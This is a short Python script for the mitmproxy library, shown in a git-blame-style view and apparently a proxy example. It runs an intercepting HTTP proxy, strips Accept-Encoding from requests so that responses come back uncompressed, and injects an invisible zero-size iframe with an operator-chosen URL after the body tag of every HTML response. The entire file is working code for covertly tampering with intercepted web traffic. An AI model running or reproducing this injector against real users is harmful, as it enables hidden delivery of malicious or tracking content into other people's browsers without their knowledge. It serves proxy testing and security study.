2013-01-13 19:54:16 +00:00
|
|
|
#!/usr/bin/env python
|
|
|
|
"""
|
|
|
|
Zap encoding in requests and inject iframe after body tag in html responses.
|
|
|
|
Usage:
|
|
|
|
iframe_injector http://someurl/somefile.html
|
|
|
|
"""
|
|
|
|
from libmproxy import controller, proxy
|
|
|
|
import os
|
|
|
|
import sys
|
|
|
|
|
|
|
|
|
|
|
|
class InjectingMaster(controller.Master):
|
|
|
|
def __init__(self, server, iframe_url):
|
|
|
|
controller.Master.__init__(self, server)
|
|
|
|
self._iframe_url = iframe_url
|
|
|
|
|
|
|
|
def run(self):
|
|
|
|
try:
|
|
|
|
return controller.Master.run(self)
|
|
|
|
except KeyboardInterrupt:
|
|
|
|
self.shutdown()
|
|
|
|
|
|
|
|
def handle_request(self, msg):
|
|
|
|
if 'Accept-Encoding' in msg.headers:
|
|
|
|
msg.headers["Accept-Encoding"] = 'none'
|
2013-03-13 20:19:43 +00:00
|
|
|
msg.reply()
|
2013-01-13 19:54:16 +00:00
|
|
|
|
|
|
|
def handle_response(self, msg):
|
|
|
|
if msg.content:
|
|
|
|
c = msg.replace('<body>', '<body><iframe src="%s" frameborder="0" height="0" width="0"></iframe>' % self._iframe_url)
|
|
|
|
if c > 0:
|
|
|
|
print 'Iframe injected!'
|
2013-03-13 20:19:43 +00:00
|
|
|
msg.reply()
|
2013-01-13 19:54:16 +00:00
|
|
|
|
|
|
|
|
|
|
|
def main(argv):
|
|
|
|
if len(argv) != 2:
|
|
|
|
print "Usage: %s IFRAME_URL" % argv[0]
|
|
|
|
sys.exit(1)
|
|
|
|
iframe_url = argv[1]
|
|
|
|
config = proxy.ProxyConfig(
|
|
|
|
cacert = os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem")
|
|
|
|
)
|
|
|
|
server = proxy.ProxyServer(config, 8080)
|
|
|
|
print 'Starting proxy...'
|
|
|
|
m = InjectingMaster(server, iframe_url)
|
|
|
|
m.run()
|
|
|
|
|
|
|
|
if __name__ == '__main__':
|
|
|
|
main(sys.argv)
|